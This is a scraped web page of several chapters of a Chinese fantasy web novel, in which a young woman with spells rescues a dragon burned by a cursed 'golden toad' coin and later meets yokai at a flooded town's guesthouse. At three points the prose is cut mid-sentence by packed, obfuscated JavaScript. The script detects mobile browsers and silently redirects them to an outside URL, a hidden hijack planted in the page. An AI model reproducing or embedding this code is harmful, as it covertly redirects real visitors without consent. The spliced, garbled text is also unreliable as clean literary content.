“为什么?我哪里对不住它?”丁依不服气。 “跟你对不对得住没关系,”人鱼示意丁依看龙,“你看,它这么大一条,爱闹爱动。而且人家毕竟是龙,能腾云驾雾,还能呼风唤雨,现在被逼缩得小小的,塞在这么一个小包里,换你你也不自在。” 说话间,龙猛地一甩尾,把矿泉水瓶击飞,掀起的浪花几乎要溅到二人身上。 “车来了,上车吧。”那头,老杨在招呼他们。 丁依应了声,回头看了眼龙,往马路边走。 “不叫它吗?”人鱼问,他指龙。 “不了,叫它过来,也不过是再把它缩得小小的,塞进我小小的包里。” 人鱼的话,在丁依心里泛起涟漪。 仔细想来,目前为止,这条龙出的小状况,确实都因它不喜束缚。这让她也有点不是滋味,暂时不想再逼龙变小钻进包里。 就先让它在这儿玩吧。江水广阔,又有狗妖陪着。万一出什么事,戌铃也不会不管它。 上车后,四人屁股还没坐稳,出租车司机就让他们取消订单。 面面相觑后,丁依先开了口。 “方便说下为啥吗,师傅?我们也是老板要求,必须得去那里。要是不方便,我们可以加钱。” “唉,你们也不容易。”司机叹了口气,把手机递过来,“喏,把这个转给老板,就说——天王老子来了,也去不了咯!” 手机屏幕上,一个主播正在直播。 他身后不远处是一座墙面斑驳的庙宇,庙宇的台阶已经被淹了,主播本人站在齐腰深的浑水中,虽然此时没有下雨,但他还是披着雨衣。 “各位老铁看好了啊!锁龙潭现在水位已经涨到警戒线以上了!”镜头转向浑浊的潭水,原本的步道已经完全被淹没,几棵柳树在水中摇晃着树冠。 “景区管理处刚发的通知,暂停开放至少一天!后面开不开放呢,还得看这禹王庙的龙王爷有没有本事,能不能让天公作美了!” 主播话音刚落,画面外隐隐传来闷雷,庙宇檐角的铃铛突然疯狂摇晃起来。 他猛地缩了缩脖子,压低声音道:“咳,那就这样,家人们点点关注,咱们明天……呃如果还能播的话……” 司机关掉直播,收回手机,无奈地摊手:“这下明白了吧?不是我不拉客,是根本过不去啊。” 禹王庙被淹了,老杨只好拿出另一个地址给司机看。 司机看了,表示“这个可以”。双方达成一致,把目的地换成另一座龙王庙。 车一开,司机就忍不住和人聊天。 “那你们工作不做了?就来打卡一下网红金蟾?” “什么网红金蟾?那里不是龙王庙吗?”丁依问。她点开GPS,再次确认那个地点有座“渊渟庙”。 司机像是觉得她奇怪:“龙王庙我不知道,反正网红金蟾是在那里,每天不知道多少人去摸金蟾求财运呢。” “网红金蟾,我知道呀!”赵叮当从后排探过身子,眼睛发亮:“师傅,你捡到过金蟾币吗?” “我没有,但有认识的人捡到过!他当晚买彩票,就刮出了三百块钱!”听到这个话题,司机来劲了 “真的?真有人捡到过?”赵叮当激动地拍了下椅背,“我大学同学的远方表哥的朋友也是这里人,他非说他捡到过金蟾币,第二天就中了一部手机,我还不信!” “啧啧,有些迷信呀,还真不能不信!” “这可不叫迷信,这叫玄学!” 司机和赵叮当聊得有来有往,剩下三人听得满头问号。 什么金蟾币?有好东西,能直接在地上捡,做慈善呢? “啪嗒!” 重重的一声,从车顶传来,打断了车里的聊天。 “什么东西掉车顶蓬上了?”赵叮当惊呼,抬头张望。 “没得事,估计就是水,前几天暴雨,楼顶房檐到处都有积水。”司机师傅倒是很淡定。 赵叮当这才放下心来。 丁依没说话。她睁大了眼,直视前方。 她眼前,一条银白色的龙尾正垂在挡风玻璃上方。尾巴毛湿漉漉的,正在轻轻晃动。 人鱼在后视镜里瞪着她,用口型说: 怎么,龙会飞,你才知道啊。 …… 距离目的地还有五百米,司机提前在街口停了车——实在是车流人流聚集,开不进去了。 四人下了车,看到街口立着一块牌子,牌子上写着“我在金蟾街很想你”,不少人在牌子前打卡拍照。 丁依绕过人群,在打卡牌背后的灰砖墙上看到真正的路牌。路牌上贴满了“招财金蟾”贴纸,她撕掉几张,勉强露出下面“潜龙街”三个字。想来这“网红金蟾”实在出名,导致真正的路名都没人记得。 真正走上这条“金蟾街”,仿佛被塞进了沙丁鱼罐头。 小马路上,车已经彻底不走了,人流像排队似地缓缓往前挤。两边网红商铺的霓虹招牌闪烁着“暴富”字样,空气中飘着廉价的香精奶茶味和油炸食品的油腻气息。 走在人潮中,四人都有点蔫蔫的。一向积极阳光正能量的赵叮当,也忍不住开始抱怨: “又闷又热又挤!怎么这么多人!” “落了几日雨,好不容易晴了,哪个不想来捡金蟾币发财哟!!” 一位拎着菜篮的阿婆听到,操着浓重的口音接话。她花白的头发也被汗水黏在额头上。 老杨忍不住问:“这金蟾币到底是什么?就算是去沙滩上捡沙子,这么多人来捡,也要捡空了。” 阿婆急得直拍大腿:“哎呀,就是那个铜板子撒!捡到了要发财的!”可惜浓重的方言让几人听得云里雾里。 最终,三人还是从赵叮当口中,听明白了这“金蟾币”的由来。 从前,这条潜龙街,只是条不温不火的市区商业街。人流量不算多,也还过得去。 某一天,不知道哪位文旅局领导灵机一动,在街道的最中央,放了一座金蟾塑像。 一开始,这座金蟾被不少人吐槽丑——一只蟾蜍蹲在元宝上,还咧着大嘴。游客看到,也不过是摸一摸头,拍个照,就走了。 直到有一天,有一个人上传帖子,说他在金蟾街捡到了一枚神秘的古铜币,然后买彩票中了五十万。 这个帖子立刻炸了——好多人在底下评论,说他们也经历了一模一样的事——捡到一枚铜币,然后股票涨停、拆迁款到账、突然升职…… “那这铜币长什么样?有防伪标识吗?”丁依问。 赵叮当找出当初那个帖子,给他们展示:一枚边缘磨损的铜币,外圆内方,表面泛着拙劣的铜绿色,像是小商品市场批发的劣质工艺品,正面刻着“招财进宝”,背面是只模糊的蟾蜍图案。 丁依心想:破案了,不是起号的,就是准备攒够流量直播卖纪念品的。 “最离奇的是,据说,这些捡到的铜币,最后都消失了,或者丢了。”赵叮当补充。 嚯,还整上都市传说了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734672|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不远处,有黄牛举着小纸牌兜售所谓“开光金蟾币”,有主播架着手机在吵吵嚷嚷地直播——“老铁们!这就是能让人暴富的金蟾街!双击666,下期直播我带你们捡金蟾币!” 有什么东西在悄悄地挠丁依的手心,她低头看——是龙的尾尖。 这一路,龙一直亦步亦趋地跟在她的身后。因为过于拥挤,它不得不再次缩小体型,却仍然被摩肩接踵的人流撞得踉跄。 见丁依看向自己,龙眨了眨蓝眼睛,晃动尾巴尖的毛,又挠了挠丁依的手心。 “别闹。”丁依拍开龙的尾巴尖,继续往前走。 突然,她看到一枚铜钱,躺在不远处的地砖上。 小小的一片,表面泛着铜绿色,看不清有字还是图案。 人流匆匆踏过铜钱,铜钱被踩得一翘一翘,也没人停下,哪怕看一看。 丁依使劲眨了眨眼睛,以为自己看错了。 说是来捡铜钱,怎么真有一枚躺在眼前,反倒无人问津。 莫非,是灯下黑? 顺着人流,丁依已经走到了铜钱边上。 她弯下腰,正准备拾起来看一看,一条银白的尾巴斜刺里窜出来,在丁依眼前那么一甩—— 铜钱没了。 左看右看,都没看到铜钱影子。丁依抬头和龙对视,只看到一双清澈无辜的蓝眼睛。 好吧。 “别在这里玩这个,人太多了。”她警告道,以为龙和江边一样,在用尾巴击打东西玩。 龙歪了歪脑袋作为回应。 人流越走越慢,最后根本停滞不前。 “没办法,有很多人不走,就赖在网红金蟾周围。”赵叮当哀叹,踮起脚尖往前张望。 不远处,几个穿着警服的民警正满头大汗地挥舞手臂,试图疏导围得水泄不通的人群。 丁依也垫起脚尖,勉强能看到金蟾塑像的金顶。 灰蒙蒙的光线中,看起来没什么特别的。 “不行要不算了,今天我们先走吧。”一路挤到这里,老杨已经有点神志不清,衬衫后背完全被汗水浸透。 “也是,网上也说了,大部分人都是凑个热闹,没几个人真捡到金蟾币的,只是没想到,居然会连金蟾都摸不到。”赵叮当也没精打采。 人鱼一路都没说话,看着不远处被人群淹没的金蟾塑像,他的鼻子动了动,又看了看天空。 豆大的雨点毫无预兆地砸落下来。 冰凉的雨水让昏昏欲睡的队伍清醒过来,不少人尖叫着钻进小路里,密密麻麻的人流一下子疏散了不少。 四人出门前都带了伞,此时纷纷把伞撑开。 举起伞的瞬间,丁依听到了清脆的一声。 “叮当。” 她低头往声源望去——自己脚边的水洼里,居然又落了一枚铜钱。 鬼使神差地,丁依想起了自己即将续签合同的事。 合同三年一续,自己当牛做马了三年,这次,怎么着也应该轮到她升职级、涨工资了吧? 会涨多少呢? 30%?50%? 她的身子越蹲越低,指尖快碰到铜钱的边缘。 突然,一只龙爪伸出,把铜钱按得严严实实。 龙对这枚铜钱,好像也很感兴趣。 它把鼻子凑近铜钱,鼻翼快速翕动,冰蓝色的眼珠子滴溜溜地转着,眉骨皱起一道浅浅的沟壑,喉咙里震颤着低频的咕噜声。 丁依有点无奈。 “别闹,等回家,我拿别的给你玩。”她试图掰开龙的爪子,捏住铜钱的边缘,想把它从龙爪下扯出来。 不曾想,龙的前爪纹丝不动。甚至,它身上的鳞片微微炸起,喉咙里像护食的野兽般发出警告的低吼。丁依加重力道,却被龙的尾巴尖缠上手腕。 它的力道不重,却充满警告意味。 丁依有点意外,她好像第一次看到龙的这一面。 就这样,她眼睁睁地看着——龙张嘴咬住铜钱的边缘,在彻底从自己手里夺回了铜钱后,一口吞下铜钱,然后嘎巴嘎巴地嚼了起来—— 它似乎是想,把那枚铜钱,就这么吃了。 丁依愣了一瞬,然后哭笑不得:不是,这家伙,连地上捡的铜钱也要吃? 但紧接着,她笑不出来了。 铜钱并没被龙齿咬碎。“滋滋”的腐蚀声从龙的嘴里发出,血液从它的嘴角缓慢渗出,龙仍死咬着铜钱不放…… 那枚铜钱,在灼烧龙的嘴。 35. 第 35 章 啪! 丁依丢开伞,一个定身咒拍在龙头上,徒手就要掰龙的嘴。 龙的眼睛瞪得滚圆。 它浑身的银白鳞片逆起,鳞片下的肌肉鼓胀,却被咒语压得动弹不得,只能眼睁睁看着丁依用手指掀开自己的嘴皮子。 那枚铜币,正被龙用后槽牙死死咬住。 丁依试着用手指去抠,然而铜币被咬得太深,如果龙不张口,她的手指根本够不到。 她抬手掐诀,正要用法术强行撬开龙颚,赵叮当的惊呼从背后传来。 “小丁姐,你没事吧?身上都被淋湿了!” 在赵叮当的眼中,丁依不仅丢了伞,还蹲在地上双手乱挥,肯定是摔跤了! 她小跑上前,把伞撑到丁依的头顶,想扶丁依起来。 被赵叮当一打断,丁依下意识晃了神。刚要回话,她马上反应过来——不好! 就这神思一闪的功夫,她的定身咒效力骤减。 龙抓住这一丝缝隙,挣脱了定身咒的束缚,身形暴涨至丁依见过的最大版本,然后尾巴一拍,扶摇直上—— 飞、飞走了。 看着瞬间消失在乌云中的一尾银龙,丁依伞也不拿了,不回头地往旁边巷子里奔。 “小丁姐!”赵叮当举着伞想追上去,却被不知何时出现在身后的小虞一把拦住。 “让她去吧。”小虞的声音很平稳。 “可是……”赵叮当看着丁依雨中的背影,又看看身旁的小虞,心里满腹怀疑。 小虞犹豫了下,身体贴近赵叮当,伸手揽住她的肩膀,微微侧头,对着她的耳朵轻声道: “不用担心丁依,也不用管她,她突然离开,只是急着给家里打电话,等打完电话,她会自己回民宿,和我们汇合。” 小虞的声音丝丝缕缕地钻入耳朵,带着某种奇异的韵律,让人不自觉地想要相信他。 赵叮当今天一直在和老杨聊天,统共没和小虞说几句话。此刻迷迷糊糊的她,心底深处泛起一丝奇怪:这个摄像小哥哥,之前声音也这么好听吗? 但这丝奇怪,也很快在小虞的声音中散去了。 就这样,赵叮当被小虞半推半带着,往前和已经走远的老杨汇合。 刚刚喧哗簇拥着金蟾塑像的人流,因为突如其来的大雨,全部匆忙散去。 无人留心的瞬间,街心那座“金蟾”动了动—— 它伸出舌头,舔了一口天降的甘霖。 巷子里。 扫了眼四下无人,丁依指间掐诀,低喝一声:“起!” 做旧的青石板路上,积水突然炸开,她的身影消失了。 一个悬浮咒加隐身咒,丁依冲进风雨,眯着眼打开灵识搜寻—— 视野的尽头,一片幽蓝的影子稍纵即逝,是龙的灵力波动。 龙正歪歪扭扭地飞着,。 它不知该飞向何处,嘴里死咬着那枚铜币,像含着一块烧红的炭,烧得它嘴生疼。 龙再次试着把铜币咬碎,灼烧的痛感却更更加严重,甚至从嘴里弥漫到身体,如同之前那次一样。明明下着雨,它却通身发烫。 它的瞳孔再次开始涣散,就在它想要卸力、倒头栽下的前一刻,一个柔软的身体贴上了自己的龙脊—— 是丁依。 丁依这次飞来的速度很快,远超她的悬浮咒常规配速水平。 一贴上龙的鳞片,她就感受到了意料之外的灼热。 怎么这么烫? 但她来不及思考这个了。高空的风裹挟着雨劈头盖脸地袭来,湿透的衣服被风吹得猎猎作响。丁依紧紧抱着龙的脊背,稳定住身体后,手指扣进龙的鳞片缝隙,想要往龙头挪。 龙鳞是有感觉的,坚硬且敏感。感知到异物,龙鳞下意识防御,张开的鳞片割到了丁依刚刚为了画加速血符而咬开的指尖。 嘶——好疼。 察觉到丁依在自己的背上,龙强行拉回自己的意识,勉强继续飞行。 然而没飞出多远,就到了它的极限。 一声痛苦的嘶鸣,龙失去意识,急速下坠。 丁依的惊叫声穿破雨幕。 “等等!” 龙的坠落让她也失去平衡。脱离龙的身体后,她本能地施悬浮咒飞到空中。看到下方的视野,她倒吸一口冷气。 这是一座废弃的儿童游乐园,因为地势较低,在多雨多水的南江市,因为常年被淹,又远离市区,它早已废弃多年。最近连日暴雨,游乐园的地面再次被积水淹没。 而此刻,龙坠落的正下方,正是一座车轨断裂的游乐园过山车。 断裂的钢筋指向天空,以龙现在的下坠速度,一旦撞上去,必定重伤。 没有犹豫,丁依俯身,跟着龙的方向坠去。 追上龙头时,她才发现,龙的眼睛已经失去焦距,眼皮在不受控制地抽搐。 “喂!喂!”她拼命拍打着灼热的龙颈,可声音却被狂风吹散。她又施术想要托起龙,却被龙拉得一起往下掉。 尖锐的钢筋断面已经近在眼前,这样下去,一人一龙都要撞上去。 电光火石间,丁依咬破另一根手指,在空中画出数道血符,嘴中接二连三地喊出法诀:“清心明性!”“破障开明!”“问劫渡心!” 也不知哪道法诀起了作用,龙眼猛然睁开,修长的龙身在半空中如游鱼拧转,在距离钢架不到一米处骤然拉升。 丁依就势拎住龙颈的鬃毛,紧紧伏在龙脊上,随它扶摇直上。 带起的劲风,将断裂的过山车轨道吹得吱呀作响。丁依骑在龙背上,目送着视野里渐渐变小的废弃过山车,长舒一口气——总算是捡回两条命。 雨渐渐地小了,只剩下丝丝的小雨在风中飘荡。 灼热逐渐消失,清醒后的龙不敢再鲁莽乱撞。在丁依的指引下,龙就近找了一块空旷的湿地,安稳着陆。 一落地,它湿漉漉毛茸茸的龙脑袋,就挨了丁依的一个大比斗。 龙的脑袋被打得一缩。 这一下并不太疼,但足以让龙感受到丁依的滔天怒火。 它努力想把自己缩起来,可无论怎么缩,它还是巨大的一坨,脑袋和站着的丁依齐平,有着不容忽视的存在感,并且刚好在丁依一挥手就能打到的位置。 “我算是知道哪吒为什么要剥龙鳞拔龙筋了,皮!你再给我皮!我把你的筋也给抽了!”丁依气得呼哧带喘,指着垂下的龙角训个不停,“人鱼还让我不要管你!说我束缚你!你看,不把你塞包里的后果,就是你差点把自己插钢架子上!” 在丁依连声的训斥下,龙看起来巨大可怜且无助。 它的耳朵向后紧贴脑袋,粗壮的龙尾小心翼翼地夹着,只有尾巴尖试探地轻轻扫动。湿漉漉的蓝眼睛,不时用余光扫一眼丁依的表情。 装可怜?没用! 丁依抬手就要再给龙一个大比斗。 龙下意识缩头闭眼。 它的脑袋上没等来预料中的大逼斗,却被什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742414|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸进嘴里,撬开了毫无防备的下颚。 !!! 龙的喉咙深处挤出愤怒的低吼,想咬碎入侵的异物。 但犬齿差点落下的瞬间,它意识到伸进自己嘴里的是丁依的手。紧绷的咬肌瞬间松弛下来,低吼也化为两声轻轻的咕噜。 下一秒,啪啪啪,龙脑袋上挨了左右左三个大比斗。 “别以为我没发现!你刚刚是不是想咬我?” 丁依警告地瞪了龙两眼,然后把注意力集中在另一只手上—— 这只手此时深深地伸进龙的咽喉。龙变大后,它的嘴也变得更大了。那枚铜币的踪影,完全消失在龙的深渊巨口里,更难找了。 丁依沿着龙的牙齿一颗一颗地摸过去。为了搜寻铜币的质感,她尽量绕开龙嘴里的灼伤,用指腹在牙床的软肉上来回揉按。龙虽然不敢再闭嘴,但敏感的舌头被摩挲得发痒,让龙涎止不住地溢出,混着血丝黏了丁依满手。 龙的蓝眼睛泪眼旺旺地看着丁依,但丁依铁面无情,只专心于指尖的触感。 她的手一路摸索进龙的口腔的深处,终于在两颗牙齿间隙,触碰到某个硬物。硬物被她一扒拉,磕到了龙的牙齿上,下一秒,她听到了“滋滋”的灼烧声。 找到了! 丁依眼疾手快,一个金钟咒护住自己的手,捏住铜币的边缘,把铜币取了出来。 摊开手,打开灵识,丁依仔细观察了一会儿自己黏糊糊的掌心里的金蟾币。 它的表面,已经被腐蚀得坑坑洼洼,原本就模糊的蟾蜍图案,现在只剩一点痕迹,拙劣的铜绿色做旧,也褪色成了暗褐。 但奇怪的是,她灵识的视野里,金蟾币周围一片清明,没有妖力波动。 莫非—— 丁依心一狠,松了金钟咒。 预期中,手心被腐蚀的疼痛没有来临。 这是怎么回事?丁依陷入沉思。 龙观察了她一会儿,眼珠子滴溜溜转,趁她不备,再次一口咬住了金蟾币。 听到“滋滋”的灼烧声再次在龙的嘴里响起,丁依气不打一处来。 “怎么嘴这么欠!” 她一手啪地打了一下龙的脑袋,这一下特别重,直接打得龙脚下一滑。另一手,她熟能生巧地直接把金蟾币从龙嘴里抽了出来。 “知道它烧嘴,偏还要咬……” 说到一半,丁依突然停住训斥,低头看着自己手心里毫无反应的金蟾币。 她试探着,把金蟾币放进自己嘴里,用牙齿咬了咬金蟾币的边缘,又用舌头舔了舔。 没有疼痛,没有“滋滋”的腐蚀声,就是有点黏黏糊糊的——她努力不去想这黏黏糊糊的是什么。 她给金蟾币上了一层防护咒,收进了袖里乾坤里。 等回去,让戌铃帮忙看看怎么回事好了。 收好金蟾币,丁依一抬眼,就看到龙瞪大了眼睛,如临大敌地盯着自己的手。 它的喉咙里发出着急的咕噜声,似乎在控诉和抗议丁依的举动。 丁依叹了口气,和它解释:“放心吧,我知道那个铜币有猫腻,但它暂时伤不了我,不强行销毁它也是可以的。而且你这伤……” 她捧着龙的下巴,再次撑开它的下颚。 龙的口腔内壁上布满触目惊心的灼痕。几处严重的伤口正大片地渗出血丝。 “很抱歉,刚刚打你打得稍微重了点,”她用指腹划过龙湿润的口腔。“不过你把自己的嘴弄成这样,就不疼吗?” 36. 第 36 章 跨上龙脊,丁依在起飞前,忍不住又确认了一遍。 “所以,你确定你能找到回民宿的路,对吧?” 龙喷了两下鼻息,用前爪一个劲儿地刨地催促,拒绝回答重复的问题。 “行吧,再相信你一次。”丁依深吸一口气,手指攥紧龙鬃,把身子伏低。 银龙偷偷侧目,扫了一眼背上的人。第一次正式载人飞行,它心底其实有点紧张。 像是给自己壮胆似的,它喉间逸出一声稚嫩的龙吟,然后略一踟蹰,下定决心——伏身蹬爪,离地而起。 龙身腾跃而起的瞬间,雨后的水汽自然而然地汇聚在龙的爪下。 感受丁依稳稳地伏在自己背上,银龙欢快地甩了甩尾巴,龙身在风中舒展开来,如游鱼般轻盈地穿梭进云雾中。 丁依眼前的视野飞速下沉,大片的湿地浮现在眼前,她不禁屏住了呼吸。 草甸被雨水浸透,水洼像大块的镜子,在龙行带起的风中,芦苇摇曳起伏,几只水鸟在其中蹦跳,嘴中正衔着刚捕捉的草鱼。 好美。 她不自觉地松开紧抓龙鬃,伸出右手,想触碰掠过身旁的云雾。 这时,龙身骤然向右侧翻去。 丁依吓得大叫了一声,以为龙又控制不住平衡要坠下去,她紧紧抱住了龙脊。半响,她发现自己还稳稳地伏在龙身上。抬起身子,看到一双龙耳朵正在轻松地转来转去,她才明白过来——方才那一下,只是龙在恶作剧罢了。 刚刚自己就该多给它两个大比斗! 又飞了一会儿,丁依察觉到,龙停在一处不动了。 它不住地盘旋,龙尾焦躁地拍打着空气,龙脊的鳞片微微炸起,不肯前进。 这是迷路了? 丁依掐指捏诀,定位了方向后,紧了紧手里的龙鬃,给龙指路:“喏,往那边。” 可龙仍然不动。它在原地不安地游动,喉咙里发出低低的呜咽。 见状,丁依又拍了两下龙脊催促:“快走,天都要黑了!” 龙仰头呼出一声绵长的龙吟,这才一步三回头地游走。 银白的龙影渐渐消失在云雾里,刚刚它停留的下方,是一座被淹没到一半的庙宇。 半截斑驳的飞檐孤零零地立着。几只麻雀站在倾斜的屋脊上,歪头打量着水中的屋脊倒影。 突然,平静的水面突然开始震颤。一声沉闷的撞击从水底深处传出,让平静的倒影碎裂。 咚。咚。咚。 受到惊吓,麻雀们叽叽叫着飞走。 良久,没有等来空中的回应,水面才又重新归于沉寂。 丁依和龙回到民宿时,那三人还没有回来。 人鱼给她发消息,说他们半路发现雨变小了,就改道去了赵叮当收藏的网红餐厅吃晚饭。 丁依强撑着最后一丝力气,给戌铃留了言,把金蟾币放在桌上,又给龙糊了一嘴的药膏,然后在满房间的草药香,和龙抗议的呜呜声中,倒头昏睡。 这一觉,她睡得像死了一样沉。 睡到半夜,丁依嚯地睁开眼。熟睡骤醒,她口干舌燥,腹中饥饿,心慌意乱。 房间里一片黑暗,桌上的金蟾币已经不见。 她呼叫了几声,没有哒哒的脚步声传来。 龙又不见了。 踩着民宿的一次性拖鞋,丁依走出房门。 仿古木地板发出细微的“吱呀”声,她扶着木楼梯扶手往下走。 大堂里空无一人。灯倒是开着,昏黄的氛围灯,此刻显得有些阴森。 柜台上方挂着的竹编灯笼,正被风吹得轻晃,在桌面上投射下影子。 桌上还放着不少大小不一的木棍和石头,丁依一看就知道是狗妖旺旺捡回来的。摸了一把,满指的水,显然刚捡回来没多久。 钟声滴答,刚过凌晨三点。 丁依转身向反方向走。楼梯后面,推开沉重的雕花木门,就是民宿的天井。 天井里一片漆黑,像是连月光也照不进来似的。 丁依沉思片刻,伸出指尖,划过门框上镶嵌的五行之阵,默念着“五行相生”的法诀,往前踏出一步。 刹那间,黑暗如潮水退去。 天井中央篝火熊熊,欢声笑语,热闹非常。 戌铃在火堆旁,正握着一把铁签子烧烤。在他身旁,旺旺馋涎欲滴地盯着他,口水滴进炭火,嘶嘶作响。 除了他俩,还有好几个丁依的熟面孔——马妖正在往签子上串蘑菇。羊妖在准备甜点,看起来像某种酸奶。九头乌鸦看似帮忙,实则九个头轮番偷吃。 已经在网红餐厅吃过晚餐的人鱼,居然也坐在一旁。他正用尖尖的利齿撕咬一串烤鱼,淡金色的长发铺在地上,金色的瞳孔明明暗暗地闪烁着,有一种“老子憋好久了终于可以妖化”的随意。 妖怪们原本都在嬉笑打闹,在丁依踏入的瞬间,篝火的火星突然噼啪炸开。 所有声音戛然而止,几双发着各色异光的瞳孔,齐刷刷转向突然闯入的丁依。 只有戌铃的眼睛,是古井无波的灰色。 他动了下脖子,像是确认了一下是谁,然后才温声开口: “你醒啦?正想问你,要不要过来吃点东西。” 马妖递给丁依一串烤青椒。 丁依接过铁签,问:“你们有谁看见龙了吗?” “它不在?刚刚还在这和狗妖玩呢。”接话的是人鱼。他四处打量,发现确实不见龙的踪影。 丁依掐指,能感受到龙的气息不远,估计正躲在后院哪处玩。 “随它去吧,我已经彻底麻了。”累麻了,也饿麻了。她吃了一口烤青椒,又接过羊妖递给她的酸奶。 吃喝了几口,丁依才终于缓过劲来。 看着周围热闹的景象,她问戌铃:“怎么大家都来了?莫非南江市有什么活动?” 戌铃笑笑,道:“这里没有活动,但有水。” “有水?” 丁依反应了一下,不确定地问:“你说的‘水’,不会是指‘洪水’吧?” “嗯,对,就是‘洪水’,”戌铃伸手。湿润的空气中,氤氲的灵气在他的手心流转。“每每‘洪水’爆发时,灵气就分外充盈,总会吸引一些朋友们过来。” 正说到这里,旁边突然传来一阵惊呼。 妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752152|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪们面露惊慌,丁依顺着它们的视线望去,只见银龙翩然而至,落在空地。 只不过,它的龙嘴里,正叼着一株疯狂挣扎的苹果树。 丁依深深地叹了口气。 她上前就是一个大比斗:“这个是好朋友,不能吃,给我吐出来!!!” 见龙把簌簌狂抖的苹果树妖吐出来后,丁依掰开了龙嘴检查。 淡粉湿润的口腔里,不久前还触目惊心的伤口,居然已经全好了。 呵,这条龙就是仗着年轻新陈代谢快,所以才胡作非为。 吃饱喝足后,小妖怪们陆续散开。它们通过凡人肉眼看不见的入口,回到了民宿里各自得休息处,戌铃、丁依和人鱼则留下收拾善后。 正收拾着,丁依想起来正事。 “那枚金蟾币,是你拿走了吧?”她问戌铃。 “哦,是指那个有问题的仿制铜币?嗯,我拿走了。”戌铃略一反应,回答道。 他一边收拾着签子,一边继续解释:“你发的信息,我已经看了。在我看来,那个铜币上肯定没有妖毒,它的来头估计和妖有点关系,但也问题不大。普通凡人捡走了,可能会吸走一点气运,但也最多会吸走这么一点点,”他捏着食指和大拇指,向丁依示意“这么一点点”的程度,“所以几乎不可能对凡人造成什么伤害,你不用太过担心。” “那就好。但是今日,龙咬了那枚铜币之后,被烫得满嘴是伤,还身上发热,甚至突然晕厥……”想起当时的情景,丁依心有余悸。若是下次,这样的事情,又在龙身上发生一遭,后果不堪设想。 一旁,龙正在和化为原型的狗妖追逐打闹,对丁依的担忧无知无觉, “这我就不知道了,天道有常,有时一物降一物,有时同源却相克,也许龙和那铜币,有什么特别的渊源罢?”戌铃微笑道,“不过至少对普通凡人,那铜币大体无毒无害。我已经托马妖把铜币带给你师父和师兄,保险起见,再让他们看看吧。” 既然戌铃这么说,也只能先这么处理。 不过,他能言之凿凿地判定这金蟾币对凡人无害,丁依好歹放下了半颗心。 “另外,”戌铃突然又开口,“我猜,这条龙身上发热昏厥的状况,未必全是那铜币作祟。” 这让丁依又焦虑发作:“不是吧,它还有别的隐疾?” “不算隐疾,不过——”戌铃凭空掏出一个小罐,递给丁依,她接过打开,闻到一股苦涩的药味。“如果你实在担心,可以提前喂龙吃一颗。不过我建议,如果情况还好,还是不喂为妙。”戌铃道 丁依皱眉:“有点没明白。意思是,如果我喂龙吃了这药,可能有其它坏处?” 戌铃摊摊手:“毕竟天道有常,若要顾此,难免失彼。” 意思就是“是药三分毒”,注意副作用呗。 这个故弄玄虚的说话方式,丁依真怕戌铃在外面会挨大比斗。 戌铃又补充:“一定要吃的话,记得饭后吃,清水喂服。” 不知是错觉还是怎么,丁依觉得,戌铃最后这句话,是看着人鱼说的。 人鱼正好在喝水,听他这句话,呛得直咳嗽。 37. 第 37 章 “起这么早啊,小丁?” 早上八点,老杨打着哈欠下楼吃早饭时,发现丁依已经在长桌边,正对着笔记本电脑噼里啪啦地敲键盘。 “早。”丁依转头打了个招呼,她头发有点乱,眼神倒还清明,“魏家隆怎么说,今天能拍吗?” “说能拍。” “还是去他家拍?” “还是去他家拍。” “都商量好了?” “商量好了。” “好!老杨你办事,我放心。”丁依郑重地拍了拍老杨的肩膀,“既然你都安排好了,这次拍摄我就不去了,留在民宿处理点其它工作,你自己带着小虞和小赵去吧。” “啊?为啥啊!”老杨大惊失色。他把头凑过去,想看看丁依究竟在忙什么,发现屏幕上是一个格式老土的表单网页。 他瞪大眼睛:“你说的工作就是填这个啊?这种上世纪的东西,难道不是用AI就能自动填好吗?” 丁依无语:“既然你说的这么简单,那你来填?” “额,那还是不了。”老杨讪讪地摆摆手,起身去拿早餐。 早前,张铭把这堆申报材料塞给丁依时,也说过和老杨一模一样的话。 “这些资料很简单的,你用AI填一下就好了,不花时间。” “喔,是吗,那您先示范一下?” 她说完这句,张铭就和老杨一样,麻溜地噤声装死不回复了。 说来也奇怪。尽管AI已经足够发达,能够挤占很多人赖以谋生的职业,但像是反复修改格式、在不同系统间手动搬运数据、用特定话术规避审核,这些工作中琐碎而繁杂的小事,居然都不能直接由AI来替代,而是需要人像驴拉磨似地,花费大量时间去做、去磨。 当初修行时,叶瑾瑜教丁依,要学会去芜存菁,在琐事中体会真意。现在当社畜久了,她每天只想把这些芜杂又琐碎的工作,一股脑地塞进垃圾袋里,然后直接打包发送给领导。 